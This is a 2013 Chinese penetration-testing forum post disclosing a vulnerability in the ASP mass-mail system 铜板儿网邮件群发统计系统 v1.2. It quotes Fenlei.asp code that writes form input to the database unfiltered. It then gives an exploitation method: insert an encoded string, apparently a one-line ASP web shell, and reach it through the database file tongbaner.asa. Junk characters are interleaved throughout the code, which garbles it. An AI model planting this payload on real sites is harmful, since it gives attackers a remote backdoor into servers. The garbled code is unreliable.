中国网络渗透测试联盟

标题: 铜板儿网邮件群发统计系统 v1.2 漏洞 [打印本页]

---

作者: admin    时间: 2013-3-14 20:14
标题: 铜板儿网邮件群发统计系统 v1.2 漏洞
'Fenlei.asp
4 d5 q' l5 O, \
6 n8 g, `' W8 [; [: _5 L6 UIF Request.QueryString("Action")="del" Then
ID=Request.QueryString("ID")
& y* q( N  g* Q6 DIF Countss ("tui","Fenlei",ID )<>0 then
/ o. ~6 V) ^$ \/ i3 l'略
IF Request.QueryString("Action")="Add" Then
" i4 L% }4 q" zTname=Request.Form("Typename")
. N  v; O5 p( L5 {; l2 BSet Rs=Server.CreateObject("adodb.Recordset")
6 l+ r3 K  |! o( XSql="Select * From Fenlei Order by id Desc "
6 \8 W" J) N& A) W& d  cRs.Open Sql,Conn,1,3
Rs.Addnew
5 j: c. ]- y( w5 V9 wRs("Typename")=Tname
'略
. n; H* A) E4 D9 K1 A0 z6 ZSet Rs=Server.CreateObject("adodb.Recordset")
% f! ?! O2 n, P$ d- o; H& XSql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,1
5 I8 E. f$ C2 x, p. b'略
. i$ v/ x8 o- n$ L/ z: \%>


- K8 P* L# V2 b, }8 Q
. r! w/ F9 d" D没有过滤，直接写入数据库。

利用方法：

插入：┼攠數畣整爠煥敵瑳∨≡┩>
. u2 t! r+ `+ b* n+ b
; i  z8 t% f9 E8 ]+ H. R
连接： http://www.xxx.com/###tongbaner.asa
; h2 y3 [6 B+ ]. v: ~$ a'默认安装文件：
'install.asp
/ o' G0 w0 e8 x: V+ J1 o! v

---

欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)

Powered by Discuz! X3.2